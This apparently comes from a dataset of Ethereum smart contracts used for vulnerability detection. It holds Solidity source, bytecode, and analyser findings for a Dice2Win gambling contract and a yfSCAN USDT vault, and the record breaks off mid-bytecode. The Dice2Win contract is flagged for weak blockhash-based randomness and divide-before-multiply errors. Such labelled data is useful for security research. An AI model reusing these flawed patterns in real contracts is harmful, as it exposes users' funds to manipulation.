fffff1681565b600080821115156116cd57600080fd5b61171f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117778260005461180690919063ffffffff16565b6000819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156117fb57fe5b818303905092915050565b600080828401905083811015151561181a57fe5b80915050929150505600a165627a7a723058206e52ecebd96558afbf6d00d4e4101f2e6392f2b436de47413dffa93224cd4cde0029
{"success": true, "error": null, "results": {}}
429
0xd1ceeeef70c61da45800bd81be3352160ad72f2a
pragma solidity ^0.4.23; contract Dice2Win { /// Constants // Chance to win jackpot - currently 0.1% uint256 constant JACKPOT_MODULO = 1000; // Each bet is deducted 2% amount - 1% is house edge, 1% goes to jackpot fund. uint256 constant HOUSE_EDGE_PERCENT = 2; uint256 constant JACKPOT_FEE_PERCENT = 50; // Minimum supported bet is 0.02 ETH, made possible by optimizing gas costs // compared to our competitors. uint256 constant MIN_BET = 0.02 ether; // Only bets higher that 0.1 ETH have a chance to win jackpot. uint256 constant MIN_JACKPOT_BET = 0.1 ether; // Random number generation is provided by the hashes of future blocks. // Two blocks is a good compromise between responsive gameplay and safety from miner attacks. uint256 constant BLOCK_DELAY = 2; // Bets made more than 100 blocks ago are considered failed - this has to do // with EVM limitations on block hashes that are queryable. Settlement failure // is most probably due to croupier bot failure, if you ever end in this situation // ask dice2.win support for a refund! uint256 constant BET_EXPIRATION_BLOCKS = 100; /// Contract storage. // Changing ownership of the contract safely address public owner; address public nextOwner; // Max bet limits for coin toss/single dice and double dice respectively. // Setting these values to zero effectively disables the respective games. uint256 public maxBetCoinDice; uint256 public maxBetDoubleDice; // Current jackpot size. uint128 public jackpotSize; // Amount locked in ongoing bets - this is to be sure that we do not commit to bets // that we cannot fulfill in case of win. uint128 public lockedInBets; /// Enum representing games enum GameId { CoinFlip, SingleDice, DoubleDice, MaxGameId } uint256 constant MAX_BLOCK_NUMBER = 2 ** 56; uint256 constant MAX_BET_MASK = 2 ** 64; uint256 constant MAX_AMOUNT = 2 ** 128; // Struct is tightly packed into a single 256-bit by Solidity compiler. // This is made to reduce gas costs of placing & settlement transactions. struct ActiveBet { // A game that was played. GameId gameId; // Block number in which bet transaction was mined. uint56 placeBlockNumber; // A binary mask with 1 for each option. // For example, if you play dice, the mask ranges from 000001 in binary (betting on one) // to 111111 in binary (betting on all dice outcomes at once). uint64 mask; // Bet amount in wei. uint128 amount; } mapping (address => ActiveBet) activeBets; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed _beneficiary, uint256 amount); event Payment(address indexed _beneficiary, uint256 amount); event JackpotPayment(address indexed _beneficiary, uint256 amount); /// Contract governance. constructor () public { owner = msg.sender; // all fields are automatically initialized to zero, which is just what's needed. } modifier onlyOwner { require (msg.sender == owner); _; } // This is pretty standard ownership change routine. function approveNextOwner(address _nextOwner) public onlyOwner { require (_nextOwner != owner); nextOwner = _nextOwner; } function acceptNextOwner() public { require (msg.sender == nextOwner); owner = nextOwner; } // Contract may be destroyed only when there are no ongoing bets, // either settled or refunded. All funds are transferred to contract owner. function kill() public onlyOwner { require (lockedInBets == 0); selfdestruct(owner); } // Fallback function deliberately left empty. It's primary use case // is to top up the bank roll. function () public payable { } // Helper routines to alter the respective max bet limits. function changeMaxBetCoinDice(uint256 newMaxBetCoinDice) public onlyOwner { maxBetCoinDice = newMaxBetCoinDice; } function changeMaxBetDoubleDice(uint256 newMaxBetDoubleDice) public onlyOwner { maxBetDoubleDice = newMaxBetDoubleDice; } // Ability to top up jackpot faster than it's natural growth by house fees. function increaseJackpot(uint256 increaseAmount) public onlyOwner { require (increaseAmount <= address(this).balance); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance); jackpotSize += uint128(increaseAmount); } // Funds withdrawal to cover costs of dice2.win operation. function withdrawFunds(address beneficiary, uint256 withdrawAmount) public onlyOwner { require (withdrawAmount <= address(this).balance); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } /// Betting logic // Bet transaction - issued by player. Contains the desired game id and betting options // mask. Wager is the value in ether attached to the transaction. function placeBet(GameId gameId, uint256 betMask) public payable { // Check that there is no ongoing bet already - we support one game at a time // from single address. ActiveBet storage bet = activeBets[msg.sender]; require (bet.amount == 0); // Check that the values passed fit into respective limits. require (gameId < GameId.MaxGameId); require (msg.value >= MIN_BET && msg.value <= getMaxBet(gameId)); require (betMask < MAX_BET_MASK); // Determine roll parameters. uint256 rollModulo = getRollModulo(gameId); uint256 rollUnder = getRollUnder(rollModulo, betMask); // Check whether contract has enough funds to process this bet. uint256 reservedAmount = getDiceWinAmount(msg.value, rollModulo, rollUnder); uint256 jackpotFee = getJackpotFee(msg.value); require (jackpotSize + lockedInBets + reservedAmount + jackpotFee <= address(this).balance); // Update reserved amounts. lockedInBets += uint128(reservedAmount); jackpotSize += uint128(jackpotFee); // Store the bet parameters on blockchain. bet.gameId = gameId; bet.placeBlockNumber = uint56(block.number); bet.mask = uint64(betMask); bet.amount = uint128(msg.value); } // Settlement transaction - can be issued by anyone, but is designed to be handled by the // dice2.win croupier bot. However nothing prevents you from issuing it yourself, or anyone // issuing the settlement transaction on your behalf - that does not affect the bet outcome and // is in fact encouraged in the case the croupier bot malfunctions. function settleBet(address gambler) public { // Check that there is already a bet for this gambler. ActiveBet storage bet = activeBets[gambler]; require (bet.amount != 0); // Check that the bet is neither too early nor too late. require (block.number > bet.placeBlockNumber + BLOCK_DELAY); require (block.number <= bet.placeBlockNumber + BET_EXPIRATION_BLOCKS); // The RNG - use hash of the block that is unknown at the time of placing the bet, // SHA3 it with gambler address. The latter step is required to make the outcomes of // different settlement transactions mined into the same block different. bytes32 entropy = keccak256(gambler, blockhash(bet.placeBlockNumber + BLOCK_DELAY)); uint256 diceWin = 0; uint256 jackpotWin = 0; // Determine roll parameters, do a roll by taking a modulo of entropy. uint256 rollModulo = getRollModulo(bet.gameId); uint256 dice = uint256(entropy) % rollModulo; uint256 rollUnder = getRollUnder(rollModulo, bet.mask); uint256 diceWinAmount = getDiceWinAmount(bet.amount, rollModulo, rollUnder); // Check the roll result against the bet bit mask. if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } // Unlock the bet amount, regardless of the outcome. lockedInBets -= uint128(diceWinAmount); // Roll for a jackpot (if eligible). if (bet.amount >= MIN_JACKPOT_BET) { // The second modulo, statistically independent from the "main" dice roll. // Effectively you are playing two games at once! uint256 jackpotRng = (uint256(entropy) / rollModulo) % JACKPOT_MODULO; // Bingo! if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } // Remove the processed bet from blockchain storage. delete activeBets[gambler]; // Tally up the win. uint256 totalWin = diceWin + jackpotWin; if (totalWin == 0) { totalWin = 1 wei; } if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } // Send the funds to gambler. sendFunds(gambler, totalWin, diceWin); } // Refund transaction - return the bet amount of a roll that was not processed // in due timeframe (100 Ethereum blocks). Processing such bets is not possible, // because EVM does not have access to the hashes further than 256 blocks ago. // // Like settlement, this transaction may be issued by anyone, but if you ever // find yourself in situation like this, just contact the dice2.win support! function refundBet(address gambler) public { // Check that there is already a bet for this gambler. ActiveBet storage bet = activeBets[gambler]; require (bet.amount != 0); // The bet should be indeed late. require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS); // Determine roll parameters to calculate correct amount of funds locked. uint256 rollModulo = getRollModulo(bet.gameId); uint256 rollUnder = getRollUnder(rollModulo, bet.mask); lockedInBets -= uint128(getDiceWinAmount(bet.amount, rollModulo, rollUnder)); // Delete the bet from the blockchain. uint256 refundAmount = bet.amount; delete activeBets[gambler]; // Refund the bet. sendFunds(gambler, refundAmount, refundAmount); } /// Helper routines. // Number of bet options for specific game. function getRollModulo(GameId gameId) pure private returns (uint256) { if (gameId == GameId.CoinFlip) { // Heads/tails return 2; } else if (gameId == GameId.SingleDice) { // One through six. return 6; } else if (gameId == GameId.DoubleDice) { // 6*6=36 possible outcomes. return 36; } } // Max bet amount for a specific game. function getMaxBet(GameId gameId) view private returns (uint256) { if (gameId == GameId.CoinFlip) { return maxBetCoinDice; } else if (gameId == GameId.SingleDice) { return maxBetCoinDice; } else if (gameId == GameId.DoubleDice) { return maxBetDoubleDice; } } // Count 1 bits in the bet bit mask to find the total number of bet options function getRollUnder(uint256 rollModulo, uint256 betMask) pure private returns (uint256) { uint256 rollUnder = 0; uint256 singleBitMask = 1; for (uint256 shift = 0; shift < rollModulo; shift++) { if (betMask & singleBitMask != 0) { rollUnder++; } singleBitMask *= 2; } return rollUnder; } // Get the expected win amount after house edge is subtracted. function getDiceWinAmount(uint256 amount, uint256 rollModulo, uint256 rollUnder) pure private returns (uint256) { require (0 < rollUnder && rollUnder <= rollModulo); return amount * rollModulo / rollUnder * (100 - HOUSE_EDGE_PERCENT) / 100; } // Get the portion of bet amount that is to be accumulated in the jackpot. function getJackpotFee(uint256 amount) pure private returns (uint256) { return amount * HOUSE_EDGE_PERCENT / 100 * JACKPOT_FEE_PERCENT / 100; } // Helper routine to process the payment. function sendFunds(address beneficiary, uint256 amount, uint256 successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
430
0xffd9ddf6a10b594828149ca11603450ad5efae07
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IVault { function token() external view returns (address); function deposit(uint) external; function withdraw(uint) external; function balanceOf(address) external view returns (uint); } contract YSVault is ERC20, ERC20Detailed, Ownable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; string private constant NAME = "yfSCAN Tether USD"; string private constant SYMBOL = "ysUSDT"; uint8 private constant DECIMALS = 6; address private constant ADDRESS_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT address private constant ADDRESS_VAULT = 0x2f08119C6f07c006695E079AAFc638b8789FAf18; // yearn USDT vault IERC20 public token; IVault public vault; mapping(address => uint256) public balancesToken; mapping(address => uint256) public balancesVault; address public governance; address public pool; bool public lockedDeposit = true; modifier onlyGovernance() { require(msg.sender == governance, "!governance"); _; } constructor () public ERC20Detailed(NAME, SYMBOL, DECIMALS) { token = IERC20(ADDRESS_TOKEN); vault = IVault(ADDRESS_VAULT); governance = msg.sender; } function balanceToken() public view returns (uint) { return token.balanceOf(address(this)); } function balanceVault() public view returns (uint) { return vault.balanceOf(address(this)); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { require(lockedDeposit == false, 'Deposits are locked'); uint256 _totalVaultBalanceBefore = vault.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); token.safeApprove(address(vault), _amount); vault.deposit(_amount); uint256 _totalVaultBalanceAfter = vault.balanceOf(address(this)); uint256 _amountInVaultShares = _totalVaultBalanceAfter.sub(_totalVaultBalanceBefore); balancesToken[msg.sender] = balancesToken[msg.sender].add(_amount); balancesVault[msg.sender] = balancesVault[msg.sender].add(_amountInVaultShares); _mint(msg.sender, _amountInVaultShares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } function withdraw(uint _shares) public { _burn(msg.sender, _shares); uint256 _totalTokenBalanceBefore = token.balanceOf(address(this)); vault.withdraw(_shares); uint256 _totalTokenBalanceAfter = token.balanceOf(address(this)); uint256 _tokensTransfered = _totalTokenBalanceAfter.sub(_totalTokenBalanceBefore); uint256 _tokensToUser = _shares.mul(balancesToken[msg.sender]).div(balancesVault[msg.sender]); if(_tokensToUser > _tokensTransfered) { _tokensToUser = _tokensTransfered; } if(_tokensToUser > balancesToken[msg.sender]) { _tokensToUser = balancesToken[msg.sender]; } balancesToken[msg.sender] = balancesToken[msg.sender].sub(_tokensToUser); balancesVault[msg.sender] = balancesVault[msg.sender].sub(_shares); token.safeTransfer(msg.sender, _tokensToUser); } function transfer(address _recipient, uint256 _amount) public returns (bool) { address _sender = _msgSender(); _transfer(_msgSender(), _recipient, _amount); if(msg.sender != pool) { uint256 _amountInToken = _amount.mul(balancesToken[_sender]).div(balancesVault[_sender]); balancesVault[_sender] = balancesVault[_sender].sub(_amount, "Vault: transfer amount exceeds balance"); balancesVault[_recipient] = balancesVault[_recipient].add(_amount); balancesToken[_sender] = balancesToken[_sender].sub(_amountInToken, "Vault: transfer amount exceeds balance"); balancesToken[_recipient] = balancesToken[_recipient].add(_amountInToken); } return true; } function setPool(address _pool) public onlyGovernance { pool = _pool; } function setGovernance(address _governance) public onlyGovernance { governance = _governance; } function withdrawProfits() public onlyGovernance { token.safeTransfer(governance, balanceToken()); } function withdrawTokenProfits(address _token) public onlyGovernance { require(_token != address(token), 'You can only withdraw reward token.'); IERC20 _rewardToken = IERC20(_token); _rewardToken.safeTransfer(governance, _rewardToken.balanceOf(address(this))); } function lockDeposits() public onlyGovernance { require(lockedDeposit == false, 'Deposits are already locked'); lockedDeposit = true; } function unlockDeposits() public onlyGovernance { require(lockedDeposit == true, 'Deposits are already unlocked'); lockedDeposit = false; } function depositIsLocked() public view returns (bool) { return lockedDeposit; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063853828b611610125578063b6b55f25116100ad578063de5f62681161007c578063de5f62681461097e578063f2fde38b14610988578063fbfa77cf146109cc578063fc0c546a14610a16578063fc99603814610a6057610211565b8063b6b55f25146108ac578063babe0061146108da578063d088a231146108fc578063dd62ed3e1461090657610211565b80639998e038116100f45780639998e0381461075c578063a30955af1461077e578063a457c2d71461079c578063a9059cbb14610802578063ab033ea91461086857610211565b8063853828b6146106635780638da5cb5b1461066d5780638f32d59b146106b757806395d89b41146106d957610211565b8063313ce567116101a85780635aa6e675116101775780635aa6e6751461055557806370a082311461059f578063715018a6146105f75780637cbc0ba7146106015780637d6babb41461065957610211565b8063313ce5671461047d57806339509351146104a157806339913e09146105075780634437152a1461051157610211565b806318160ddd116101e457806318160ddd1461036757806323b872dd1461038557806323b8f6291461040b5780632e1a7d4d1461044f57610211565b806306fdde0314610216578063095ea7b3146102995780630d1e027d146102ff57806316f0115b1461031d575b600080fd5b61021e610ab8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025e578082015181840152602081019050610243565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e5600480360360408110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5a565b604051808215151515815260200191505060405180910390f35b610307610b78565b6040518082815260200191505060405180910390f35b610325610c59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61036f610c7f565b6040518082815260200191505060405180910390f35b6103f16004803603606081101561039b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c89565b604051808215151515815260200191505060405180910390f35b61044d6004803603602081101561042157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d62565b005b61047b6004803603602081101561046557600080fd5b8101908080359060200190929190505050610fd9565b005b6104856114fe565b604051808260ff1660ff16815260200191505060405180910390f35b6104ed600480360360408110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611515565b604051808215151515815260200191505060405180910390f35b61050f6115c8565b005b6105536004803603602081101561052757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611703565b005b61055d61180a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e1600480360360208110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611830565b6040518082815260200191505060405180910390f35b6105ff611878565b005b6106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b3565b6040518082815260200191505060405180910390f35b6106616119cb565b005b61066b611b34565b005b610675611b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106bf611b71565b604051808215151515815260200191505060405180910390f35b6106e1611bd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610721578082015181840152602081019050610706565b50505050905090810190601f16801561074e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610764611c72565b604051808215151515815260200191505060405180910390f35b610786611c85565b6040518082815260200191505060405180910390f35b6107e8600480360360408110156107b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d66565b604051808215151515815260200191505060405180910390f35b61084e6004803603604081101561081857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e33565b604051808215151515815260200191505060405180910390f35b6108aa6004803603602081101561087e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121e3565b005b6108d8600480360360208110156108c257600080fd5b81019080803590602001909291905050506122ea565b005b6108e26127cb565b604051808215151515815260200191505060405180910390f35b6109046127e2565b005b6109686004803603604081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061294b565b6040518082815260200191505060405180910390f35b6109866129d2565b005b6109ca6004803603602081101561099e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ab6565b005b6109d4612b3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a1e612b62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610aa260048036036020811015610a7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b88565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b505780601f10610b2557610100808354040283529160200191610b50565b820191906000526020600020905b815481529060010190602001808311610b3357829003601f168201915b5050505050905090565b6000610b6e610b67612ba0565b8484612ba8565b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c1957600080fd5b505afa158015610c2d573d6000803e3d6000fd5b505050506040513d6020811015610c4357600080fd5b8101908080519060200190929190505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b6000610c96848484612d9f565b610d5784610ca2612ba0565b610d5285604051806060016040528060288152602001613fa960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d08612ba0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b612ba8565b600190509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613f3f6023913960400191505060405180910390fd5b6000819050610fd5600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f7457600080fd5b505afa158015610f88573d6000803e3d6000fd5b505050506040513d6020811015610f9e57600080fd5b81019080805190602001909291905050508373ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b5050565b610fe333826131e6565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561108457600080fd5b505afa158015611098573d6000803e3d6000fd5b505050506040513d60208110156110ae57600080fd5b81019080805190602001909291905050509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561113657600080fd5b505af115801561114a573d6000803e3d6000fd5b505050506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111ef57600080fd5b505afa158015611203573d6000803e3d6000fd5b505050506040513d602081101561121957600080fd5b810190808051906020019092919050505090506000611241838361339e90919063ffffffff16565b905060006112e8600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112da600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054886133e890919063ffffffff16565b61346e90919063ffffffff16565b9050818111156112f6578190505b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561138057600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6113d281600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461339e90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146785600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461339e90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f73382600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b5050505050565b6000600560009054906101000a900460ff16905090565b60006115be611522612ba0565b846115b98560016000611533612ba0565b73ffffffffffffffffffffffffff